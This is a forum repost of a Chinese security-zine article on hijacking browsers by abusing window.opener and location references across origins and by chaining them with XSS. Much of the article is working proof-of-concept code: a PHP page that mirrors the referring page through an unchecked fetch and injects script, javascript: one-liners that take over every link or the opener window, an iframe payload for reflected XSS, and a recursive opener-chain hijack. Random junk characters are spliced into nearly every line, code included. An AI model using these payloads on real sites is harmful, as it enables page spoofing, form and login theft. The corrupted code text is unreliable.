找回密码
 立即注册
查看: 2938|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
6 q8 {8 {* O3 S+ I! D" y ; Q* E. H, |1 \, o  x1 y; K
                       Issue 0x03, Phile #0x05 of 0x07
7 H2 N$ B& M1 e/ ?
* R) Z6 B$ D( [* O8 D4 \' T* F8 j5 I* I7 G' h6 K; V6 F; @
|=---------------------------------------------------------------------------=|) }9 C' f* P8 ~. W% r# }( U# U
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
8 Y3 o3 q: B/ V6 P|=---------------------------------------------------------------------------=|! R  L, m  r( e' @5 ?
|=---------------------------------------------------------------------------=|
, G& ?5 W" I! c! E8 p0 i  z& S9 O|=------------------------=[      By rayh4c     ]=---------------------------=|
0 [( d' b5 f0 i: M! d) F$ \8 q# h3 o|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|3 @& g1 k2 k: y8 U
|=---------------------------------------------------------------------------=|3 Z" t1 @: V/ x4 ]8 G1 u( g) {

% @* d: V/ E0 H8 j3 d$ N  T. q! z3 c2 k. e) x, F# @8 `
[目录]
& e* d8 E) U# [5 B9 R
; O6 T% r  {/ C" O1. 前言/ R" k2 r  h$ o: \( }: b) `8 ~
2. 同源策略简叙+ Q* j$ E& }) o
3. 理解window对象的同源策略
4 }( _+ l0 s4 _4. 窗口引用功能中的同源策略漏洞. D" M6 o( m1 k; ~  x: X( H$ C
  4.1 父窗口引用子窗口的同源策略问题* s( r% B* r$ L
  4.2 子窗口引用父窗口的同源策略问题! a4 a- X( {/ P0 }& |! r. _4 B* t8 z
5. 利用窗口引用漏洞劫持浏览器
- M! j! }5 M8 x8 K# [% S6. 利用XSS漏洞劫持浏览器$ I& @4 U4 g4 b; A3 b3 L1 o; {
  6.1 正向跨窗口劫持
% f' g# A0 c9 Y. c- ~  6.2 反向跨窗口劫持4 a0 X2 s2 H7 m) p# ^; Z
  6.3 极度危险的跨框架窗口引用劫持
8 ]2 |& ]4 S* G6 G( {  6.4 极度危险的正反向跨窗口递归劫持
$ ~8 m: C$ ]0 d$ E  6.5 完全控制浏览器
( i5 u5 e" i  l" Q8 o5 w7. 后记+ {! q! b0 t' H' w6 Q
8. 参考0 q2 ^: E5 U8 H+ N) B3 k
6 ~$ q4 ^: S+ K- X* w; V

7 U; |" J# g. N一、前言5 T6 }4 `# W4 r' r( ]% E& j

- R& n9 t7 {: P    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
' @  n% F9 s4 A3 R: K友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session) ^, P% g$ D; y7 r  W; v  l
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被. G, x/ U6 i& I! Y6 z  Y
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
/ d7 z5 X0 j1 |, ]4 F& ~- Z. f
, F7 ~1 V1 Q0 [9 m8 F
二、同源策略简叙6 l, N* \  W2 y! \9 ?( A

0 N" T* _3 ]) Q    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以! A) a7 h% b6 A9 U
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都/ Q; ~+ v  k6 v' d* ]* B. R+ \
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木; Y1 _) ?) Q+ v7 Q  P6 N. _
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
% M6 Q: j$ }4 J7 m0 A: y# P' K( @漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。& h& N: H( {0 G
9 o% {4 d+ Y5 m9 e1 B! v( M

+ d/ F. e+ H* X5 P7 ^8 }三、理解window对象的同源策略. _4 a- P& _5 l, @9 ^1 A
9 b7 A* B9 b% m# j  @! h2 q
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
5 `, i* G' g' ^9 }象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:6 n. j" H8 o2 a. t

; ~% t4 @9 Z+ m7 Q--code-------------------------------------------------------------------------4 c) c6 u( c; Z# `3 K9 f% \) C
<script language="javascript">
- t& r" d7 \0 Mfor(p in window) document.write(p+"<br>");
0 E. O9 `! M' y* p</script>6 p* ?; x0 @6 W; G( c" Q
-------------------------------------------------------------------------------+ m: o1 `" o1 J2 b3 A7 Y" j
7 F) K/ H: y# D9 [: w
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
$ N$ M8 v4 X* z. O3 F  e9 P法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,& a) ~" |- P# N! y
这些属性和方法就必须遵循同源策略。
% [2 b& @# Q: o! C; d/ M& b8 q; T4 F. W7 ?4 ]7 z' T
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
" z: I6 N; D0 K& J" O9 S么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
* O0 h& `3 ]# ?: `( ^* ^% y的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
# m" P! |+ d4 ?# P) _' D) N# s. ^个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
8 b$ r4 ?# K  D, L9 P值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
. }. s8 o7 v' e+ [! [属性并没有被拒绝访问。
9 {, ^2 {4 ~) o, W' J  X  Q/ B+ W, h! t' O$ f7 \
--demo.html--------------------------------------------------------------------
  a# k5 ]+ L! P$ I& t. ~<script language="javascript">   ( r/ o+ I* M( ~7 ]
function allPrpos(obj) {      ' W/ g4 e8 \: p1 q
      var props = "<table><tr><td>名称</td><td>值</td>";           5 E1 X" w; l3 R: p' \
      for(var p in obj){          , E/ M7 v5 u7 z% D
            if(typeof(obj[p])=="function"){   
- d) d( ^0 [% z5 T2 U                   obj[p]();   ! i0 t' t6 t4 ?  A/ i7 d' g0 _
             }else{                      ) G, u- m; ~& r& F
                  try   
1 ?  |" {" a7 V0 u                   {   ) b# g( f6 x# [: O/ L
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
1 o% G2 }. h* f$ f) |, h                   }   
4 W0 c0 i9 _8 ?' I/ W+ H6 L                  catch (ex)   ( Z2 i4 H; \9 Y& S% O
                   {   $ P0 \( i6 L+ n1 X8 r8 q. A$ p. I
                  
8 M7 t2 L7 L: W  t, X. c! C3 S                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   & }, C5 f" z8 [& X4 W2 J
                   }   + j4 ^5 q. s) Z( o% O
                       6 y& F0 x7 ]1 a: c8 j
             }   / u  V. J0 Q3 b1 u2 m" j! I  Z( K
       }   * m$ x% }9 x# _- @- t
   - F$ M9 P. M- i1 L" F
       document.write(props+"</table>");   8 }5 [" T; v0 }
}   
; v. {+ ^0 c6 u# c- R: C   
' a9 k# p: E; F* _0 B, o  Hfunction createWin() {+ G! u% G: \# c  s# t7 I+ z
        newWin = window.open ("http://www.google.com");  
+ }! e' |" K0 ?1 A6 Q/ u! a        setTimeout(function(){allPrpos(newWin)},2000);
+ Y! Z+ {* R. s3 ~! i  u! p: q} 7 Q: r  R* G0 Y

, y4 ]! U+ O* o; x6 h1 [7 G9 \* f</script> ( Y( _# ~; X8 E9 [$ W3 v

4 v6 @' L0 c7 d0 ^; ~<button onclick='createWin()'>创建一个非同源子窗口测试</button>
" ^# x/ e* _9 ^, |-------------------------------------------------------------------------------
! E$ l, M: D( Z- W( |- x
  |' ~( {9 C& n0 b7 S  r
! \3 i; b+ k3 q2 E6 A+ N四、窗口引用功能中的同源策略漏洞
$ v! S9 M9 L) a8 J4 u
8 J0 h; g  b9 A. t4.1 父窗口引用子窗口的同源策略问题0 u  R7 L7 s8 ^; ]
: ^( W0 g6 j: _; m
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,$ C, q& a# k" i, i5 D
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道, N, ]- z8 s, }" @. C- q
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
4 k0 b# v# Z+ J* G) |1 R% C行测试,会发现父窗口可以控制非同源子窗口location属性值。/ ?: V' l  j/ [5 H5 v7 r- k
1 ^' C% D' x, t7 }6 \$ i
--vul1.html--------------------------------------------------------------------
) `( n+ G1 {/ P& C<script language="javascript"> ! ?+ b0 T- t, G, w6 V/ r
function createWin() {  
" v: }0 p! }! ~) O0 q/ \        newWin = window.open ("http://www.google.com");  ! U# D" k# z2 W( Q
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 3 h% t0 x" x3 H& B+ Z8 P8 ]
} 8 o/ W6 R1 w# D2 s, q
</script>- S  Z; H. V( e& Z* [5 I

' N( ^8 m; i$ u; O, K<button onclick='createWin()'>创建一个非同源子窗口测试</button>
! Q( I5 j( |$ e$ E% g3 @& u-------------------------------------------------------------------------------
7 e5 a# o2 I" e7 z2 q3 i) q
& p" D0 X" h7 k! {6 [3 m" j; t
: Q4 {$ @& l7 H  E4.2 子窗口引用父窗口的同源策略问题
, d: W4 \! T; ]  k  G+ `3 n( Z
3 M& i5 A1 j9 e$ M7 p6 S5 ?    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
) b0 C- C" M+ L2 ^! X3 C. J! P  H3 c用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们2 Y- l# E+ Z/ j
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定$ y1 c6 ]" a9 B( `$ I, ^
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。8 m3 W. R# v8 s# T  d3 d

+ ]7 \4 t) _4 L+ z! I2 q8 d% h--code-------------------------------------------------------------------------
- [1 {5 O" k# m4 A/ ?" ?
: `: {) J7 ]1 O7 W0 W0 ejavascript:window.opener.location = "http://www.80sec.com";void(0);
/ S3 K3 K0 O5 f8 D: o& J4 M1 H7 S' X  Z! c) v! ]. M( n2 p
-------------------------------------------------------------------------------
$ e, v3 ]1 q: V: |# F0 D! T3 Y7 q5 Q' r. B$ ?( B, s& ?
+ y1 @. z. f3 ~- h0 L: f, a
五、利用窗口引用漏洞劫持浏览器
  u4 D. [& c6 g0 F3 |/ F! |; i' d) o' W9 f1 k7 g/ a. X
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
: e. c; p* h! w& Y窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
. U. b9 q  K. {# K么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。) Y8 O/ {+ U' s, y9 U& o

2 J% s/ A0 ^# V; b# P- t    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产5 {  ?4 r7 E2 D9 W- \
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或* W; z3 t, n! o2 S
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接7 G4 ]2 c8 _" [
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
9 W( n! g/ u7 d7 B' P0 D8 V5 l会产生什么可怕的后果。+ ?$ e. y& z! u% Y. z: Z5 B! m
" i; |* G$ M; l8 U& f( {/ t
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
' c! P2 a. U6 E0 K们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
. K5 V+ K( f  o  U: D这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
: d/ B/ {5 A, o1 c1 l3 l/ j5 t候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
; @& L$ |7 t8 O# g3 m以做更多的事情,所有的一切仅仅是因为点击了一个链接。4 Y( e1 L0 n7 M/ V! M

9 S0 t1 \! {7 y3 o" e4 A+ S2 E--hjk_ref.php------------------------------------------------------------------
# v8 h6 e( P5 a& e<?php2 Y# {# R- p0 e
if (array_key_exists("HTTP_REFERER", $_SERVER)) {- w+ @6 w8 V: [+ t
$Url_Mirror = $_SERVER["HTTP_REFERER"];
( I1 g0 ^+ y  v# S} 8 h4 h5 A# O+ o+ z  J" h+ r
if(isset ($_GET['ref'])) {
: X7 ]7 W$ \/ c1 A1 techo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
3 G# u$ c* @: w4 ?% D}
& [6 n' D  A# z?>
5 ^) w* U6 d& z* }5 h$ @- @( N& @) x( K6 ]8 l
<script language="javascript">6 k# ?- \* k: o1 U6 T
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
2 b& B" C9 o6 Z) m4 Z4 D</script>
7 j' B* ?# _' f4 l7 y-------------------------------------------------------------------------------
- F$ u+ [! P6 t( s3 z* {/ O/ H- _7 }' Y4 @* H2 g- ~9 Z
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
9 O$ V3 G5 _: b' }4 A4 [, i; p. a, F- X! t+ x. o" Y4 K7 e

- x% r# t9 v) ]4 A六、利用XSS漏洞劫持浏览器
0 u  c; k- p9 r2 @
! S7 k+ l3 D! Q    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
1 U1 Q3 h$ B, N! {2 {: ~- \# {持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
. A3 u- K" ^6 k. K9 t- H; r1 tXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起' m+ G- T+ X6 L( Y8 |
讨论跨站师的终极技巧:9 E  ^, Y. ~3 x1 |
) Y* R' e2 {1 q% A& y

. k- u2 I! F5 W( o6.1 正向跨窗口劫持8 p. G9 r0 o0 V1 _7 |& k

3 O( d/ P  d  g  G9 V5 F, b    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛( |& |  J  Q4 Y% H( s' o; v
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
8 ]$ y- {; G! T" a# v接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
3 H2 _1 W/ U8 l, [8 G8 d+ ?框脚本。
2 [" `# }4 r2 U3 e- M1 v
# s% Q: ]5 _5 l- z  I* O--hijack_open.js---------------------------------------------------------------" k5 f7 k, e: r7 t

5 J8 [% v* P% g! Pjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
. t1 }8 L6 {/ i" A6 y2 ~% r1 {5 g
" w) \- \% L/ L1 G6 H% J9 {' o$ u-------------------------------------------------------------------------------
" H1 P! w. I; ?6 n3 y$ R! t# r" {. |

$ v0 W" w& R! f! P& e' i! v6.2 反向跨窗口劫持
' x( H$ I* ]" u- E/ k# m) B' I7 {# k3 J* s, ?
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代/ H$ E* r* A- j* ~- T
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
! Y& j( V& X" I框脚本。  c; `- C% \5 j5 W3 L8 g4 B( j
7 ^" l! D' U& @/ s5 I- |
--hijack_opener.js-------------------------------------------------------------6 O/ E) ^! }# n1 o4 w) J

: K& Y" J" r, u4 }8 ljavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);, T$ z8 r4 V6 ~: T
/ y3 D& k! Q% ~( U# U
-------------------------------------------------------------------------------! z: N# N# K0 v
* B& u  I4 `' V9 l, C9 B/ P. B
8 }8 i: F2 @5 [2 e* z( D$ H
6.3 极度危险的跨框架窗口引用劫持8 O' l$ F% t7 f$ ?
+ K. m& v! N4 ~+ j. k8 N7 O
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞8 G" K8 Z3 O; I9 l% [
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就% N5 R2 o- l# F2 k
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个4 ]& t& O2 q4 G, `. x& L# R) U
非持久型的XSS,如下:' Q  T* b( f& K+ w% A4 |# |0 e

* B6 Z. X3 {7 w: D<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
7 f! b9 C/ D  _
6 {" W' _+ s! C# B    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口+ X5 J) u+ f: h& k* a2 d/ q, o
注入脚本。# y* p9 d% c) O7 Z. ?: q

9 E3 A" R  G& H4 E  E& ?--hijack_frame_opener.js-------------------------------------------------------
6 w0 o! U4 S5 u5 R<script>
$ j& V" C- p0 Kwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
, z+ V# z8 Q0 u</script>; Y6 O& @& `/ H! C6 J
-------------------------------------------------------------------------------/ `) X/ Z$ {9 K+ Q- N

* S' E* d  ?7 F' `  a2 d7 q, |  L& f. {% X# t
6.4 极度危险的正反向跨窗口递归劫持
9 s3 [$ n1 T9 j% L
8 O3 a3 l8 N2 K, V4 ^  [# V    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window: m- o2 g! s/ h
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过2 a# w4 h% a; X* K1 ^
异常处理规避之间跨域页面的访问异常,代码如下:
- |  X4 k. L$ `: H. y1 j  J* x" [; T; p, q8 b; L$ ^$ D
--code-------------------------------------------------------------------------4 W) z% j" x# m% U6 ?) c" w

& q7 H1 p4 B1 n, Xjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);& ^- B* y$ Q3 j  y

0 _; S8 k1 Y5 Q6 Y-------------------------------------------------------------------------------
: y5 S4 b( N  r/ q  F
& w3 {7 H1 s& N/ T$ [3 a    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
. ~+ \+ `+ d$ Z: y* G; _3 k; |以劫持B域之前的A域页面,从而实现“隔空打击”。- K2 A5 l- m( B9 r3 W5 O
. ~/ `; B) W7 g
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面% X) I& B0 l: G; ^1 D) q
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
! g3 F0 q3 `# G! R& j3 |  d6 _0 O6 S
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
5 e. A1 f8 }& t1 S' F+ x+ o$ |* C- x, J. N7 E
; _. r+ i% z% B: t/ b
6.5 完全控制浏览器
6 \) f4 B: ]1 T, d3 v! @' n% m0 x1 w% O
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
* ^* ]( c% `# I/ ]1 A是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
, _5 H$ Y' u5 H' }/ d+ ]漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失0 f! N. c9 u% e0 z. i3 z8 L
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
4 L" s! M/ G: R列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站; I5 @, m$ Y9 q5 w. _
师的终极目标 - 完全控制浏览器。% [' _3 Q8 C8 S# O
2 \) O" g6 `2 Z3 i6 d" A7 {
* H' _8 g( }1 @5 C
七、后记
5 t4 M- h) N6 {0 v! ]$ u
; v( r: S. `. x    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
/ ?, Q  Y1 K6 |8 u: `9 q& Z' W- Z; r与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予5 t* D9 u( ]: f6 U
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。! i, c4 _) c1 ^
! k/ t3 I7 d( g
, B4 H2 |. }' s
八、参考
& `: n8 R0 `0 v- ^  g  @, Y$ A% o
1. http://en.wikipedia.org/wiki/Same_origin_policy
$ |' k2 O, W' `  L2. http://code.google.com/p/browser ... licy_for_DOM_access8 @; V+ X% `) b  ^0 c0 K7 o! v" ]
3. http://www.w3.org/TR/Window/
* R5 S, m1 R3 O( j' h6 `4. http://www.80sec.com/release/browser-hijacking.txt& Z  G# O* h! k' [: {! G
5. http://www.80sec.com/all-browser-security-alert.html* A* [" N0 k2 B  o$ o6 N
6. http://www.80sec.com/ms08-058-attacks-google.html* \' W- P7 v% e; w3 `3 z- d
- o0 y& i9 p) f! a. B& M9 s! |
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表